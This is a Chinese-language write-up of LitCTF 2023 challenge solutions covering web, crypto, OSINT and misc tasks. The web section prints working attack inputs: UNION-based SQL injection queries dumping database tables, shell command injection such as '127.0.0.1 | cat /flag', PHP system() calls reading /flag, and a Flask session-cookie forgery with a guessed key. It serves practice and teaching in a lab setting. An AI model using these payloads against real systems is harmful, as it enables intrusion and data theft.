LitCTF Web、社工AK 以及部分misc和crypto

WEB

我Flag呢?

  1. CTRL+U 查看源代码,拉到最底下
<!--flag is here flag=NSSCTF{22b32488-ef71-4b0b-8972-fa0b5bd60e77} -->

导弹迷踪

  1. 进去发现是游戏且有一堆JS代码,先死一次发现提示 CRASHED , CTRL+F 搜索 CRASHED ,发现以下JS代码
var Messages = {
        START: {
            title: getLevelString,
            text:  function () {return 'CLICK TO BEGIN';}
        },
        CRASH: {
            title: function () {return 'CRASHED';},
            text:  function () {return 'CLICK TO RETRY';}
        },
        GAME_OVER: {
            title: function () {return 'GAME OVER';},
            text:  function () {return 'CLICK TO START AGAIN';}
        },
        FINISH: {
            title: function () {return 'LEVEL COMPLETED';},
            text:  function () {if (mLevel === 6) {return 'GOT F|L|A|G {y0u_w1n_th1s_!!!}';} else {return 'CLICK TO CONTINUE';}},
        }
    };

得到

NSSCTF{y0u_w1n_th1s_!!!}

Follow me and hack me

  1. 根据页面题目要求直接用 hackbar 传参
  • GET

    /?CTF=Lit2023
    
  • POST

    Challenge=i'm_c0m1ng
    

得到

NSSCTF{d2d51e7d-4946-4e02-8a6c-d0dffe52e3ac}

PHP是世界上最好的语言!!

  1. 首先题目介绍说 用PHP写了一个小工具(Flag位于根目录) ,且进入页面后右边的输入框下面是 RUN CODE ,那么我们写一个PHP语句
echo 1;

发现左面输出了 1

  1. 直接用PHP的 system() 函数调用 shell 读取flag
system('cat /flag');

得到

flag=NSSCTF{235bf40e-d3f1-4109-8393-3b926bd88394}

Vim yyds

  1. F12 开发者工具看了个遍也没发现可以利用的东西,扫后台吧
python3 dirsearch.py -u http://node5.anna.nssctf.cn:28172/

发现只有 /.index.php.swp 可以访问

  1. 下载后查看代码,发现 <html><head> 在后,闭合标签在前,推测代码逐行取反了

    以下代码省略了一部分,保留思路部分

前面省略部分                                                                  1 </body>     </main>         </div>             ?>             }                 eval(system($_POST['cmd']));                 echo "<p>Oh You got my password!</p>";             if ($_POST['password'] === base64_encode($password)) {             echo "<p>can can need Vim </p>";             $password = "Give_Me_Your_Flag";             error_reporting(0);             <?php         <div class="can_can_vim">         </h3>             闃熼噷甯堝倕璇碫im鏄笘鐣屼笂鏈€濂界殑缂栬緫鍣紝涓嶆帴鍙楀弽椹?         <h3 class="vim_said">         </div>             </h1>                 Vim yyds             <h1 class="vim_yyds">             <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>         <div class="vim">     <main> <body>  </head>     </style>         }             font-size: 20;         p {         br,          }             align-items: center;             justify-content: center;             display: flex;             color: #39c2ff;         h3.vim_said {          }             margin-left: 5px;             margin-top: 50;             justify-content: center;             align-items: flex-start;             display: flex;             color: #50f728;         h1.vim_yyds {          }             height: auto;             width: 8rem;             border: none;         img {          }             justify-content: center;             vertical-align: middle;             align-content: center;             display: flex;         div.vim {          }             justify-content: center;             align-items: center;             display: flex;         html {         body,     <style type="text/css">     <meta charset="UTF-8"> <head>  <html> 
  1. 根据取反的代码传参
$password = "Give_Me_Your_Flag";
if ($_POST['password'] === base64_encode($password)) {
	eval(system($_POST['cmd']));                 
	echo "<p>Oh You got my password!</p>";
}
  • POST

    password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
    

    R2l2ZV9NZV9Zb3VyX0ZsYWc base64解码后是 Give_Me_Your_Flag

得到

NSSCTF{f6f22c85-31ee-477e-bf04-f5107e450158}

作业管理系统

  1. 进去随便点几个页面看看分别是啥功能,找到创建文件,创建一个 1.php ,选择编辑文件,内容写一个一句话木马(为了这个md不报毒代码就不展示了)

  2. AntSword 连接 (密码随意,就不展示了)

  • URL

    http://node5.anna.nssctf.cn:28898/1.php
    

访问 /flag 得到

flag=NSSCTF{46f6a860-5c45-427d-9023-9a4bd360f2b0}

这是什么?SQL !注一下 !

  1. 先传入 12 ,发现有回显,传入 3 时没有回显,并且联合注入的几个关键字没有被过滤,直接判断回显点
3))))))union select 1,2#

发现有页面正常显示

3))))))union select 1,database()#

得到当前库为 ctf ,并且能判断就是一个无过滤(最起码联合注入没过滤)的注入

  1. 表名
1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
  1. 列名
1))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

得到一堆

id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

并且将所有的内容爆出没有想要的(彩蛋除外)

推断是跨库注入

  1. 数据库名
3))))))union select 1,group_concat(schema_name) from information_schema.schemata#

得到

Array ( [0] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf ) ) 
  1. 最后
3))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

3))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

3))))))union select 1,group_concat(flag) from ctftraining.flag#

得到

Array ( [0] => Array ( [username] => 1 [password] => NSSCTF{9a120976-4dc5-4aeb-b9a5-42c189d078e3} ) ) 

Http pro max plus

  1. 以下均为请求头 只允许本地访问 (xff不彳亍)
client-ip: 127.0.0.1
  1. You are not from pornhub.com ! ?? 6
referer: pornhub.com
  1. 用Chrome浏览器啊!
User-Agent: Chrome
  1. 不开代理你想上p站? 代理服务器地址是Clash.win
via: Clash.win
  1. 访问 /wtfwtfwtfwtf.php ,发现没啥能利用的, CTRL+U 查看源代码,发现 /sejishikong.php 访问得到
冲完啦?拿上你的flag赶紧走NSSCTF{651804b1-116f-4a03-9fa0-c83251ed5c94}

Ping

  1. 老朋友先来 127.0.0.1 | ls,发现被过滤了,尝试其他方法没用

  2. CTRL+SHIFT+C 追踪到

<form action="" method="POST" onsubmit="return check_ip()">
……

并将其修改为

<form action="" method="POST">
……

传入 127.0.0.1 | cat /flag 得到

flag=NSSCTF{b037232c-99f1-4595-8340-cdfc95f5405c}

1zjs

  1. 前面的无用功就不说了(无用功 = 2h),F12网络发现 index.umd.js ,打开后搜 php ,发现有个 /f@k3f1ag.php

  2. 访问然后将里面的东西扔到控制台求值

"NSSCTF{c961bb33-2941-445e-8e6a-44a7f684b0aa}" 

就当无事发生

  1. https://ProbiusOfficial.github.io 会跳转, github 里搜 ProbiusOfficial 发现有一个 ProbiusOfficial/ProbiusOfficial.github.io

  2. 点进去找第一个(4.29)commit

第331行

<p>Flag LitCTF{g1thub_c0mmit_1s_s0_us3ful}</p>
<p>就当无事发生!!!!</p>

Flag点击就送!

  1. 随便搞个名字,然后点 “拿flag” 提示 只有管理员才能拿flag耶

  2. 发现cookie有 session=eyJuYW1lIjoiMSJ9.ZF_Rzw.66Bhq8DeAT3ZNL__sXET82Z7Ito 推测session伪造,盲猜(bushi secret-key 为 “LitCTF” ,用 “Flask Session Cookie Decoder/Encoder” 工具构造

# python3 flask_session_cookie_manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'
eyJuYW1lIjoiYWRtaW4ifQ.ZF_Svw.OqRWPIO6banla_-GSc93QhDQLFo
  1. burp 放包
……
Cookie: session=eyJuYW1lIjoiYWRtaW4ifQ.ZF_Svw.OqRWPIO6banla_-GSc93QhDQLFo
……

得到

NSSCTF{d047ebcb-d92e-4f9e-95c0-be24471ea267}

彩蛋

  • 第一部分在 “我Flag呢?” 这一题
  1. F12 控制台发现有 try to run giveMeEgg() to get the egg!good luck~ ,运行 giveMeEgg() 后得到
LitCTF{First_t0_The_k3y! (1/?)
  • 第二部分在 "作业管理系统 " 这一题
  1. 在 “上传文件这一页面下” 有一个URL 为 https://github.com/ProbiusOfficial/My_pic/blob/main/demo.jpg ,访问后得到

    wow 你找到了第二个彩蛋哦~
    _S0_ne3t? (2/?)
    
  • 第三部分在 “Follow me and hack me” 这一题
  1. 正常传参解出此题后提示 他说备份文件还有好吃的 ,根据提示访问 /www.zip 下载备份文件,下载完成后打开 index.php.bak 发现注释行,得到

    // 第三个彩蛋!(看过头号玩家么?)
    // _R3ady_Pl4yer_000ne_ (3/?)
    
  • 第四部分在 "这是什么?SQL !注一下 " 这一题
  1. 直接传 2

    Array ( [0] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) ) 
    

综上得到

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

CRYPTO

你是我的关键词(Keyworld) (初级)

  1. “keyworld” -> “keyword” ,百度keyword在线解密

  2. 题目描述: YOU are my keworld

  • 待解码内容

    IFRURC{X0S_YP3_JX_HBXV0PA}
    
  • keyword

    YOU
    

得到

LITCTF{Y0U_AR3_MY_KEYW0RD}
NSSCTF{Y0U_AR3_MY_KEYW0RD}

(校外)Is this only base?

  1. 根据题目中的 “base” ,且等号不在末尾推测,栅栏密码, txt 文件中提到了 23 这个数字
  • 待解密内容

    SWZxWl=F=DQef0hlEiSUIVh9ESCcMFS9NF2NXFzM
    
  • 栏数

    23
    

得到

SWZxWlFDe0liUV9ScF9FNFMzX2NSMCEhISEhfQ==
  1. base64解密
IfqZQC{IbQ_Rp_E4S3_cR0!!!!!}
  1. 凯撒密码
  • 待解密内容

    IfqZQC{IbQ_Rp_E4S3_cR0!!!!!}
    
  • 偏移量

    23
    

得到

LitCTF{LeT_Us_H4V3_fU0!!!!!}
NSSCTF{LeT_Us_H4V3_fU0!!!!!}

Small

  1. CTF题目, (前缀最大值-前缀最小值)*2
#include<bits/stdc++.h>
#define IOS std::ios::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL);
#define ll long long
#define int long long
#define endl "\n"
//#pragma GCC optimize(2)

using namespace std;

const int mn = 1e5+10;
const int mod = 1e9+7;
const int N = 2e5+10;
int dr[4][2]={{-1,0},{1,0},{0,-1},{0,1}};

inline ll gcd(ll x,ll y){
	if(x<y) swap(x,y);
	return y?gcd(y,x%y):x;
}

//int d[1000007];
//
//int lowbit(int x){
//	return x&(-x);
//}
//
//int query(int x){
//	int res=0;
//	while(x){
//		res+=d[x];
//		x-=lowbit(x);
//	}
//	return res;
//} 
//
//void update(int x,int v){
//	while(x<=n){
//		d[x]+=v;
//		x+=lowbit(x);
//	}
//}

void solve(){
	int n;
	cin >>n;
	int l,r;
	for(int i=1;i<=n;i++){
		int num;
		cin >>num;
		if(i==1){
			l=num;
			r=num;
		}
		l=min(l,num);
		r=max(r,num);
		cout <<(r-l)*2<<endl;
	} 
}

signed main(){
	
	IOS;
	
	int T=1;
//	cin >>T;
	while(T--){
		solve();
	}
	return 0;
}

MISC

OSINT 探姬去哪了?_0

  1. 中国电信郑州分公司不是,百度了理念,相关的什么江苏公司都试过了,最后突发奇想会不会是总部
NSSCTF{中国电信大厦}

OSINT 探姬去哪了?_1

  1. 玻璃上的 SANGEL酒店 两个关键词,直接百度发现是 松果酒店

  2. 郑州陇海东路地铁站店郑州农业路店 试一下就行了

NSSCTF{松果酒店(郑州农业路店)}

OSINT 探姬去哪了?_2

  1. 提取关键字搜索 hackingclub郑州 发现第一条凤凰网报道中提到了 漫香音乐酒吧

  2. 高德地图搜在郑州的 漫香音乐酒吧 发现只有一家

NSSCTF{漫香音乐酒吧(农科路店)}

OSINT 探姬去哪了?_3

  1. 门上贴着 郑州轻工业大学 的二维码 + 格式里面的 第114教学楼 ,高德地图搜 郑州轻工业大学第一教学楼 发现只有科学校区有第X教学楼这一说

  2. “217” 应该是 2 楼,第几教学楼全靠猜

NSSCTF{科学校区-第1教学楼-2层-217}

OSINT 这是什么地方?!

  1. 百度识图直接上传发现一堆视频 (营销号吧t**d,没一个说地名的)

  2. 然后打开视频在第 6 秒的时候右上角隐约看见一个楼, 陕西?色?????集团 共 11 个字

  3. 百度 陕西有色 然后找,最后符合条件的只有一个

NSSCTF{陕西有色榆林新材料集团}

Osint小麦果汁

  1. 上面有个 hacker&craft 百度一下发现是杭州的一家名叫 黑客与酿造 的酒吧
NSSCTF{黑客与精酿}

【Minecraft】玩的开心~~~

NSSCTF{Gaming_in_CTF_is_qu1te_f4n!}

(校外)雪山的秘密

  1. 根据音频得到一堆字符
'00011',' 010101',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 010101',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 010101',' 010101',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 10010',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 00111',' 00011',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 010101',' 00011',' 00111',' 100001',' 10010',' 00011',' 010101',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 00011',' 010101',' 00011',' 100001',' 010101',' 010101',' 00011',' 100001',' 10010',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 010101',' 100001',' 00011',' 00111',' 00111',' 100001',' 010101',' 00011',' 010101',' 100001',' 10010',' 010101',' 00011',' 010101',' 100001',' 00011',' 00011',' 010101',' 100001',' 00111',' 00111',' 010101',' 100001',' 00111',' 00011',' 010101',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 010101',' 00111',' 010101',' 100001',' 010101',' 010101',' 00011',' 100001',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 010101',' 00111',' 00011',' 100001',' 10010',' 00111',' 00011',' 010101',' 100001',' 010101',' 00011',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 00011',' 010101',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 00011',' 00111',' 00111',' 100001',' 00011',' 00011',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 00111',' 00011',' 00011'
  1. 莫斯密码解码
3.2-..3-.23-.32-32.-3..-/..2-223-.32-322-..3-..2-/2.2-3..-232-223-..2-.32-/3.2-..3-.23-3.3-..3-/.32-32.-322-.3.-/.3.-33.-22.-23.-..3-.23-..2-3..-/.2.-..3-2.2-3..-.23-/23.-.33-.32-2.2-3..-/3.2-223-322-332-3..-233
  1. 百度发现是元神的一个彩蛋,根据百度出来的彩蛋得到
NSSCTF{FOR_THE_NATION_WE_CANT_FORGO_THIS_SKYBORNE_POWER_BUT_WE_FAILED}

(校外)ssvvgg

  1. 将svg转为 base64 然后解码,将里面的jpeg提取后转成图片 try8.jpeg

  2. stegseek 爆破,密码为 666666

stegseek try8.jpeg passdict6.txt
  1. steghide提取隐藏文件
steghide extract -sf try8.jpeg
  • flag.txt
LitCTF{svg?_base642png!&steghide!}
NSSCTF{svg?_base642png!&steghide!}

(校外)easy_shark

  1. zip一个伪加密

  2. wireshark 打开,发现某 POST 记录很可疑

  • POST /upload_file.php HTTP/1.1
  • POST /mm.php HTTP/1.1 (application/x-www-form-urlencoded)

分别发现他们是一句话木马和响应的传参,密码为 a

  1. 找最后一次的 POST 记录发现
(x^2-x**2)+(x-17)(x-77)=0
#gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
  1. 将方程扔给ChatGPT
这是一个二次方程的表达式。让我们展开并简化它:

(x^2 - x^2) + (x - 17)(x - 77) = 0

由于 x^2 - x^2 的项相互抵消,我们可以简化为:

(x - 17)(x - 77) = 0

现在我们需要找到使方程等于零的解。根据零乘积法则,当两个因子的乘积等于零时,至少有一个因子等于零。

因此,我们可以得到以下两个可能的解:

x - 17 = 0 => x = 17
x - 77 = 0 => x = 77
所以,方程的解为 x = 17 或 x = 77。
  1. 仿射密码解密得到
flag{w13e5hake_1s_a_900d_t3a771c_t001}
NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值